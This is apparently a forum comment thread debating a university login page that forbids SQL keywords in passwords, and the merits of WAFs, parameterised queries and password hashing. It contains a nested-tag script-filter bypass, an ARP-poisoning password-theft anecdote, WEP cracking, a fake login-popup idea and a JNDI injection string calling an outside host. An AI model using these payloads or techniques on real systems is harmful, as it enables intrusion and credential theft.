Password may not contain: select, insert, update, delete, drop
id.uni-lj.si
id.uni-lj.si
I heard a rumour that some legacy apps have weird validation on their login fields, so students wouldn't be able to log in with passwords containing certain strings. But I don't actually know of any examples.
For instance, TRUNCATE isn't even in the list
At a previous job the IT set up a spam filter which used a keyword list (dumb attempt anyway), but it also searched the email headers (not only the body). As a result, we weren't able to receive email if one of the SMTP hops was named, say, smtp.essex.company.com.
And so they will block requests containing DROP etc even if the systems they are fronting are perfect.
I just implemented the subset of what we actually needed from a WAF with haproxy, and I'm delighted to say our stuff is extremely effective (as we got a nice flood attack the day after go live), and that it's 10% of the cost, and presumably 10% of the maintenance of the proprietary solution we evaluated.
Oh, since it's University of Ljubljana, lepi pozdravi z Maribora! ^^
I guess one could also do "DROP TABLE *", should they want to experience what it means when Google removed "Don't be evil" from the preface of their Code of Conduct.
I hacked a big social platform in my early teens (Nettby.no), since they just did a removal of all banned words, including <script>. I instead wrote <scr<script>ipt> in my profile bio, and after their removal I had a valid html tag injected into the webpage and full control of anyone visiting my page..
Nettby had no HTTPS, so I did an ARP poisoning MITM and stole everybody's passwords. Then I posted random nonsense from people's accounts and watched the chaos ensue(did no snooping, even 14yo me had a semblance of ethics somehow).
But ARP is how computers figure out what IP address is associated with a hardware / ethernet address, so they know what ethernet address to use for sending packets to a specific IP.
ARP poisoning means you flood the network with fake ARP packets saying your ethernet address has the gateway IP or whatever IP. So then the other devices will forward packets to your machine instead of the intended destination.
As nettby didn't use HTTPS it would then be trivial to capture / read the packets and figure out everyones' passwords. I.e. the messages would be plain text, unencrypted.
Not exactly Eli5, but hope it helps.
Couple more tidbits of information:
Nettby was a Norwegian Myspace clone and it was all the rage back when I was in middle school(around 2007-2009 or thereabouts).
ARP stands for Address Resolution Protocol.
ARP has no security built in by default. This combined with the plaintext passwords made the attack trivial.We weren't actually allowed internet, but the school had an extremely basic wifi network that was WEP encrypted... So naturally I broke out Aircrack-ng and ameliorated that situation. And suddenly everyone was procrastinating on nettby in class.
It’s insane how long it took to see widespread HTTPS adoption.
It caused quite a commotion among small site operators.
So you can show a popup saying the user needs to log in again, and then log their credentials on your own server instead.
My "hack" was mostly pretty harmless. Just did some layout changes to make my profile cooler. But the door was wide open for anything.
There are a lot of people writing bad code and bad system architectures for their organizations. There are not enough people with the competence, organizational power, and time to catch what's bad and force change in those organizations. In the US you are probably forced to do business via many such terribly coded websites, e.g. your local healthcare provider. In such cases, it might be better if we assumed the implementation might be as awful as it commonly is, and recommended mitigations based on that.
It's also easy for people to test if the website actually allows the nominally prohibited password patterns and complain to some oversight authority if so. Whereas it's not so easy to test, from the outside, whether it's really been done the right way.
It's inelegant and tragic, but in the end it might be a good idea to accept that things are often done poorly and without adequate oversight, and consider what mitigations can prevent the worst outcomes in these cases.
As for common password advise, my take on your argument would be that we should all be using these keywords in our passwords to quickly surface these bugs, lest they be hidden and only used by attackers.
EDIT: as they don't actually check for all the banned strings, the "auditor + mandatory misconfigured WAF" hypothesis expressed above is not valid in this case. But let it stay as an otherwise-plausible explanation, or maybe something that was valid in the past.
Run away and stay as far away from their products and services as possible.
Generally the opposite. University staff positions pay pretty poorly compared to what the most competent people can earn elsewhere.
There are some bright staff people at universities who are there for other reasons besides the pay, but the competence of an average university staff software developer is not great.
This is also why over the past two decades universities have trended to SaaS subscriptions rather than building software in-house
Those people are not the ones running the IT systems. Even the software engineering and information systems departments have no say. IME university IT are understaffed, outsource a lot (often without a choice), and often have to follow decrees from higher management that don't seem to have been thought through.
I was learning to write sqlite C functions for fun, and thought since storing plain passwords has been such an issue, why not offload the responsibility from the programmer and let the db handle it fully -- consume plaintext, salt, hash, etc, and could transparently upgrade algorithms when necessary.
Luckily I've learned enough to recognize that my skillset is not of the level necessary to fully evaluate the risks. Today the idea makes me feel uncomfortable.
I think in general you would not want to do this in the database anyway (definitely not unless it's sharded and not really even then). You are taking that hashing load off your application servers and moving it inside the DB after all. When your DB is out of CPU, it's out, they're tough to scale. And in SQLite you are holding the DB write lock for longer, which serializes every other thread that needs to write. That's also true of holding connections/resources in traditional DBs. It's notionally fine for toy problems and you can probably do "clever" shit like sharding uuids across multiple files by hash to scale a bit further. But increasingly, even as someone who likes the idea of a "richer" interface to RDBMS, and doesn't mind writing SQL functions/triggers/views where it makes sense, I think the database really just not is the place for unnecessary gizmos on performance grounds either. Don't put hashing in your DB.
It should be salted and hashed a few hundred thousand times and that compared to the salted, hashed version stored on file.
If you can't even manage that, you have no business writing software that can store credentials. And I mean that. Software security starts with acknowledging that data is toxic and will bankrupt you if you refuse to respect it.
I'd tell them to do it properly or not at all, and remind them that in many jurisdictions, knowingly implementing poor data controls earns you some actionable liability. PII is no joke.
This isn't controversial when you're telling people you can't do your own gas work without certification, or electrics without experience. It's okay to demand competence.
Stopping SQL keywords is a distraction dressed up like security. It's harmful.
We are talking about how to mitigate harm from people who are already doing the wrong thing. Saying that this distracts from doing the right thing misses the point. They are already doing the wrong thing. You saying they should not do the wrong thing does not stop them from doing the wrong thing. Once again, your proposal is the failing status quo.
A project that both stores plaintext passwords and fails to use parametrisation (something that's been standard practice for over two decades) is untrustable. It's an untenable liability.
Maybe I'm wrong. Could you explain when you think this would be acceptable?
The key thing is that it's both easy to test and would stop many attacks. Anyone can check whether the password field will take these forbidden keywords and patterns.
No question it's a pathetic thing to have to resort to, but pathetic is where things are at right now.
Imagining we're happy to sacrifice these words to the gods of security theatre, what layer are you suggesting this goes? Browser level just means hackers can make raw requests. HTTPDS could block it, like an overzealous WAF, but that still needs implementing. Service providers shouldn't be able to see this stuff because of transport layer security.
There's no sensible way to make this make sense.
I do agree that a lot of entities are not adequately prosecuted for their incompetent data handling but fixing that seems far more realistic than banning the word "drop", everywhere.
Most software you use is untrustable. You get a binary and you pray the vendor isn't an idiot. Even if you watch all the SQL commands it does in normal operations, you can't be sure an attacker cannot send some operation you don't know about and do a regular SQL command.
>
> It should be salted and hashed a few hundred thousand times and that compared to the salted, hashed version stored on file.
>
> If you can't even manage that, you have no business writing software that can store credentials
That's misunderstanding the nature of the vulnerability. It's not about where the password is stored, but where it is entered. Before it can be salted & hashed, there's software that has to decide where the password input starts and ends. If it gets that wrong, that's how you get the vulnerability.
It's not even clear that there is a vulnerability problem here, though there is obviously a usability/UI problem. It could very well be that having those words in your password doesn't compromise security anywhere, but some systems might reject the password before even attempting to authenticate with it.
There might not be an actual attack vector, they might block these words in all inputs. It just smells like incompetence.
Hmm. This strongly reminds me of gpt promt injection. I guess why they're both called injection attacks
No, they're 100% correct. If the password is properly stored, there's no possibility of injection, because what gets sent to the database is something like a hex string, or just a bytestring, depending on reprsentation.
> It's not about where the password is stored, but where it is entered. Before it can be salted & hashed, there's software that has to decide where the password input starts and ends. If it gets that wrong, that's how you get the vulnerability.
???
Where it is entered looks like this:
<input type="password" name="password">
… the actual text of the password makes no appearances, ever.Whatever code you're using to generate HTML/DOM nodes, or SQL queries, should be parameterized and automatically escaping all inputs. If it isn't, that's the security issue, and trying to kludge around it with idiotic restrictions won't work. (Other commenters have already alluded to the problems with the OP's attempt.)
But even then, a password should never hit either of those interfaces: there's no reason to render it into the DOM, or into SQL.
(There are some other comments about this might be to help users work around failures in a WAF. That could be, but it's orthogonal.)
If the authentication flow is doing anything other than salting/hashing the password and then throwing away the original plaintext password, the entire system really shouldn't be used at all.
I strongly suspect that this is the most common attack vector in cybersecurity.
I dislike the mentality that leads to this; WAFs, lazy pentesting and compliance checkboxes have created a substantial body of absolute bullshit security theater and I have absolutely zero doubt that this has convinced companies it's "safe" to put insanely poorly written software partially out on the open internet and that they've "done their due diligence" so to speak. And then I get a letter in the mail apologizing that my most confidential information has yet again been leaked by some company I barely or didn't have any real choice to give my data to. I'm sure they all care deeply about my data and that's why it was stolen using decades-old Java serialization library vulnerabilities.
[1]: https://blog.checkpoint.com/research/ebay-platform-exposed-t...
The problem is that WAF-style security-theater is being enshrined as the industry standard instead, which means that we're just going to get more of these problems instead of less. In other words, a half-measure like this doesn't just distract from doing the right thing, it's actually literally useless for any real security, and instead it's more likely to allow serious security issues to go unnoticed for a much longer period of time.
Immutable identifiers should never have this much weight. When your encryption key is compromised, you roll it. When your SSN is leaked, you're doing damage control for the rest of your life. This problem did not begin with Equifax.
It's a 7-digit number that encoded most people's birth region in it until two decades ago and gets asked for by all sorts of randos having anything to do with finance. The problem here is that something so readily shared and easily compromised and impossible to change has this much weight in our identification protocols.
Ok, context and perspective will matter a lot here. If you are wanting to hide from authority then mutable id sounds good. If you are wanting to "know the history" of a person then mutable is bad.
In our social contract the "inability" to change id is baked into the way be behave, and the consequences for bad behavior.
Equally there are lots of good reasons to be able to get a quick history of say a prospective employee, loan recipient, tennant, supplier, customer, and so on.
If I can apply for a new Social Security number every month/year then that number does become useless as a form of id.
But it would then just need to be replaced with something else. Too much of what we do is predicated on our historical behavior. Having a 12-month limit on identity would break, well, just about any kind of contract.
And in most contract situations uou most definitely want to know "who" you are contracting with.
I am receiving approximately one parcel per month informing me of a new data breach.
i'd say figure out how bad what they did is. Not hashing and building sql strings like that: go to jail for a long time.
Gross carelessness with private data: go to jail for a very long time.
About the same time as if you purposely published the data, or purposely dropped a table, because thats about what you did. If you dont have the competence, you have no business writing such a system. If you dont know how to calculate a bridge that wont collapse, or dont know how to follow the plans and build it properly, you have no business being there.
It renders the whole organization working in fear -- When you have to worry about the system inserting password in plaintext into a database table, there are also a million other terrible things that can go wrong in this system, like what if your DBA copy-paste a SQL from stackoverflow? There's just endless work.
If your org has incompetence engineers, then maybe just don't let them implement their own authentication system. Use popular open source frameworks and/or buy a commercial product.
Which is to say this kind of sanitization on passwords is meaningless if the barest of security standards are in place.
Source: I'm a student there and tried it out of curiosity.
Seriously though, I doubt there would be any consequences even if some BOFH tried to blame you
Yeah that would probably work for a while. Until someone proves it doesn't :P
It's not really rocket science anymore to make sure user input doesn't mix with your SQL. This is not 2005.
And really if this works in the first place you're storing the passwords unhashed which was even a dumb thing in 2005. If the same applies to the username or other user input fields it would make a bit more sense but passwords should never enter the database like that.
My point is that voodoo programming isn't always due to lack of due diligence. It's due to knowing that something went wrong with something in the past, but for which there is no evidence, and about which you would be able to do nothing.
My preference is to deploy it anyway, see if it breaks, and if necessary work it out with the customer after the fact. That's unpopular for good and obvious reasons, so no pipe characters.
I was being sarcastic :) It's ridiculous that this kind of thing still happens.
Not really, your RDBMS probably supports some hash functions so you could be storing them hashed as "UPDATE USERS SET PASSWORD = SHA2($PASSWORD)" which would be vulnerable to SQL injection yet does not store unhashed passwords.
There are good reasons I'd recommend to do the hashing in the application layer instead, but doing it in the DB (with correctly parameterized queries, of course) is not so terrible.
${jndi:ldap://hunter2.com/totallylegit}[1]https://www.reddit.com/r/OutOfTheLoop/comments/1zaefg/why_do...
Others in the comments see this as "proof" that the application has poor security. I don't think we can draw that conclusion. We can, however, draw the conclusion that some part of the stack is poorly implemented.
(I joke, but 20 years younger me, self-teaching php and security etc? Who knows what she'd think of this)
If a user's password leaves the web application in any form other than a hash, something nonstandard and probably bad is going on.
No, it's unambiguously bad. You're transmitting a cleartext password to a system which doesn't have a business need to know it, and which wasn't designed to process secret data. There's a substantial risk that the database may leak that data in some unexpected way, e.g. by logging it when an error occurs or by showing the parameter in a process list. Worse, a stored procedure can potentially be covertly modified to store or exfiltrate the password while hashing it.
"As early as possible" is interesting. It could be done on the client, however you need to actually have the hash to check if a string hashes to the same as it because of the salts embedded in the strings. Using an algorithm without salting would allow you to hash the password on the client then allow arbitrary 32 (or however long your hash digests are) character strings on the server as a password equivalent. This would also protect from a misconfigured or malicious server logging unhashed passwords.
No, that's actually too early -- if you let the client hash the password, you're vulnerable to a "pass-the-hash" attack where the client submits a hash without knowing the password.
There are protocols like SRP and other PAKEs which allow this to be done securely, but it's uncommon for them to be used in web applications.
In fact, if you rely on client side hashing, you are not only making the app a lot less accessible (it will only work with JS enabled), the security is worse, because now you are publishing a salt to the client. Or you are working with unsalted hashes which is hardly better than just plain text.
SSL is what protects passwords in transit. Not some JavaScript client side hashing DIY.
That article is a few years old now and things should have got better, but even by 2016 everyone should have known properly sanitising inputs was critical for a decade or two.
One of the systems is already wrong. The excuse not to do the system right is monetary cost of fixing the broken system.
Out of all the excuses in the world, money wins.
I really don't understand your point. If I hash on the browser the hash is still being sent to the server. A MitM or sniffing attack can just send the hash and log in. It doesn't actually protect the user at all unless they're re-using the password elsewhere. This also assumes that you're using a seeded hash of some sort, or a multi-round hasher with settings unique to every other website. Otherwise you're still going to run into stuffing and collisions.
So for sites where the plaintext password is sensitive (password managers etc) that's important. For most sites, it's not inherently wrong not to hash passwords in the browser, though it does protect against password reuse.
I'm not saying you're wrong, I just don't think you're accurately portraying the problem you're fixing.
Bypassing this kind of filter is literally the second picoCTF SQL injection level, which is intended for high school STEM students.
I'm quite certain you cannot breach security like that, but that some (ancient) piece of the stack has some hardwired rules, which, at some point, might indeed be a "defence against injection". But this is no proof that this is still the case.
It’s a reverse proxy that inspects requests for bad stuff like sql injection.
It still prevents the server (and any proxies, MitM attackers, etc) from seeing the plain-text password, which can help protect the user if they reused the password somewhere else. Assuming the client wasn't also compromised, which is very likely in web applications but maybe a valid scenario in apps and desktop applications.
The other imho valid idea is that you can run a key derivation function client-side (e.g. salted with the user-name), in addition to running your normal best-practice setup server side. This can allow you to run more expensive key derivation which provides more protection if your database is leaked, while also making dictionary attacks on your authentication endpoints less viable.
https://www.rfc-editor.org/rfc/rfc2945
https://security.stackexchange.com/questions/18461/how-secur...
SRP[1] is an even better improvement, where an eavesdropper cannot authenticate as you; there is a challenge-response to login.
1: https://en.wikipedia.org/wiki/Secure_Remote_Password_protoco...
The main reason, that I've heard at least, for not upgrading these systems is cost and complexity. Why upgrade a system that is working for $$$$ when we can restrict passwords and add some basic 'security' for $.
Also seen similar stuff on a customer bug report, where request from our server containing html text inside a json field would get injected with some obfuscated javascript, I could not be sure if it was a "security" plugin or malware.
Facepalm, and ripped the code out, we had plenty of protection elsewhere
This security products feel like a scam.
In Oracle, you can't use a bind variable in setting a password on an account, so SQL injection is a more significant risk. I wrote some JavaScript and pl/sql to address that.
The JavaScript posts excessive status messages, and only allows a submit when all checks have passed.
As it stands now, no human can write to a DB in prod-- only service accounts.
(most fundamental rule of handling passwords is to never store them anywhere, never log them either, b etc. they should go straight to the hashing function and no where else)
Your password must be valid SQL, Java, Go, or C++ string. Or a haiku about grocery shopping. This way it won’t look like a password in case we leak it.
Yes of course we need to properly escape all strings that we render / use parametised queries to avoid injection attacks, however we also need defense in depth, so all fields need to reject code that looks like sql or html.
It was easier to just add this that push back. Sigh.
That the developer is not aware that their diagnostic raises a red flag itself raises a red flag. It doesn't occur to them that a system which issues this diagnostic will be suspected of doing stupid things. That tends to betray a lack of sophistication in the area of security.
Modern advice for strong passwords is having a length requirement and checking the input against a list of known passwords, for example using the HIBP partial hash API. (Any time you see forced expiration or complexity requirements, you're dealing with a legacy/cargocult system.)
[0]: https://blog.codinghorror.com/the-god-login/
[1]: I suppose you could salt and hash the user’s password against every other user’s password and their salt, but if you chose an appropriate password hash function and parameters, that would take infeasibly long.
Edit: I missed that you essentially suggested this already. Sorry about that. However, I think the way Atwood explains it is useful.
I've had folks ask me if we support emoji, "code/SQL" like in this example, Chinese characters etc.
So fun to see and hear from folks on all sorts of stacks, especially legacy systems where layers of cruft have accreted over time to produce Byzantine requirements like this.
They don’t prohibit semi colons so there’s still some potential here.
This particular variant of defense in depth is also rather missing the point: this field is a password. The question isn’t “did everyone remember to properly escape the password or properly use parameter binding” — the question is “did everyone remember not to store the plaintext password?” By the time someone does:
Execute(“UPDATE xyz SET abc = ?”, password)
Or however your database API spells it, you have already messed up massively.(no not the bobby tables xkcd)
"Blacklist sanitizing cleans the input by removing unwelcomed characters such as line breaks, extra white spaces, tabs, &, and tags."
But still this is not a way, input sanitization is bullshit.
Using query parameters, thus inserting raw input into already built abstract syntax tree of SQL query
is the correct solution since SQL injection is about affecting tree composition
When you can use approach which fundamentally prevents SQL injection?
I didn’t take notes all the way down, but at the end of the day this method is invoked when a prepared statements’ parameters are being bound
That only tells you they don't hash the passwords in the client. Likely the protection ("protection") is for the input validation layer, not the password backend itself.
The client sends the encrypted (via HTTPS) but not hashed password to the server, both for changing your password and checking your password. So the server receives the password in plaintext but shouldn't store it.
Whatever the client sends to the server, an attacker can send too.
Parameterize the SQL on the server instead of concatenating strings.
Imagine the user uses "select_mypassword" as a password. The sanitizer kicks in and silently mangles your password, resulting in another password being stored than the one you entered, effectively locking you out. Or maybe it just fails with an obscure error because some overzealous countermeasure triggered. I wonder what using the EICAR file as a password would do btw.
Also, while the password may be stored properly (hashed), the password still transits in plaintext before it is stored or verified. So even with hashing, you can still be vulnerable to injection.
Hopefully you don't actually have to do any of this because your backend wasn't written by monkeys on typewriters.
For example, I may write some piece of software that refuses to write files with spaces in them, because I suspect that later on, some shell script will process them and it is very common for poorly written shell script to break with spaces in file names. But it may turn out that unexpectedly, the people who write the back end are competent and deal with spaces just fine. But on their side they may expect me to be be the monkey and say, avoid replying with Unicode characters, assuming my code will break if it gets something that is not an ASCII printable character.
So in the end, the user will have neither spaces in file names nor proper Unicode support, even though the software wouldn't have any problem with that if two team properly communicated and didn't think of each others as monkeys.